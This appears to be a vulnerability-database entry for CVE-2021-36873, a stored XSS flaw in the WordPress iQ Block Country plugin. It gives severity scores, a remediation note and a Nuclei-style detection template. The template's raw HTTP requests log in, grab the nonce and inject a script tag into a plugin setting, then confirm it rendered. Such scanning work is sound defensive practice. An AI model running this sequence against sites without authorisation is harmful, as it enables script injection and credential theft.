3.5 Low
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
SINGLE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:S/C:N/I:P/A:N
5.5 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
HIGH
User Interaction
NONE
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N
0.001 Low
EPSS
Percentile
48.4%
WordPress iQ Block Country plugin 1.2.11 and prior contains a cross-site scripting vulnerability. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
id: CVE-2021-36873
info:
name: WordPress iQ Block Country <=1.2.11 - Cross-Site Scripting
author: theamanrawat
severity: medium
description: |
WordPress iQ Block Country plugin 1.2.11 and prior contains a cross-site scripting vulnerability. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
remediation: |
Update to the latest version of the WordPress iQ Block Country plugin (>=1.2.12) to mitigate this vulnerability.
reference:
- https://wpscan.com/vulnerability/ba93f085-2153-439b-9cda-7c5b09d3ed58
- https://wordpress.org/plugins/iq-block-country/
- https://patchstack.com/database/vulnerability/iq-block-country-/wordpress-iq-block-country-plugin-1-2-11-authenticated-persistent-cross-site-scripting-xss-vulnerability
- https://nvd.nist.gov/vuln/detail/CVE-2021-36873
- https://wordpress.org/plugins/iq-block-country/#developers
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
cve-id: CVE-2021-36873
cwe-id: CWE-79
epss-score: 0.00131
epss-percentile: 0.47179
cpe: cpe:2.3:a:webence:iq_block_country:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 4
vendor: webence
product: iq_block_country
framework: wordpress
tags: cve,cve2021,wp-plugin,iq-block-country,wordpress,wp,xss,authenticated,wpscan,webence
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/options-general.php?page=iq-block-country%2Flibs%2Fblockcountry-settings.php HTTP/1.1
Host: {{Hostname}}
- |
POST /wp-admin/options.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
option_page=iqblockcountry-settings-group&action=update&_wpnonce={{nonce}}&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Foptions-general.php%3Fpage%3Diq-block-country%2Flibs%2Fblockcountry-settings.php&blockcountry_blockmessage=test</textarea><script>alert(document.domain)</script>&blockcountry_redirect=2&blockcountry_redirect_url=&blockcountry_header=on&blockcountry_nrstatistics=15&blockcountry_daysstatistics=30&blockcountry_geoapikey=&blockcountry_apikey=&blockcountry_ipoverride=NONE&blockcountry_debuglogging=on
- |
GET /wp-admin/options-general.php?page=iq-block-country%2Flibs%2Fblockcountry-settings.php HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- contains(header_4, "text/html")
- status_code_4 == 200
- contains(body_4, 'blockcountry_blockmessage\">test</textarea><script>alert(document.domain)</script>')
- contains(body_4, '<h3>Block type</h3>')
condition: and
extractors:
- type: regex
name: nonce
group: 1
regex:
- 'name="_wpnonce" value="([0-9a-zA-Z]+)"'
internal: true
# digest: 490a004630440220684766e6e255bb9e4afa32a94b1ca2dc955141bb09fed41190b572538a9c5c2d02201338c2a3689ac3cc0f55a9edc41183f9d05cac1325b267cd51aa3d1c282ea228:922c64590222798bb761d5b6d8e72950
nvd.nist.gov/vuln/detail/CVE-2021-36873
patchstack.com/database/vulnerability/iq-block-country-/wordpress-iq-block-country-plugin-1-2-11-authenticated-persistent-cross-site-scripting-xss-vulnerability
wordpress.org/plugins/iq-block-country/
wordpress.org/plugins/iq-block-country/#developers
wpscan.com/vulnerability/ba93f085-2153-439b-9cda-7c5b09d3ed58
3.5 Low
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
SINGLE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:S/C:N/I:P/A:N
5.5 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
HIGH
User Interaction
NONE
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N
0.001 Low
EPSS
Percentile
48.4%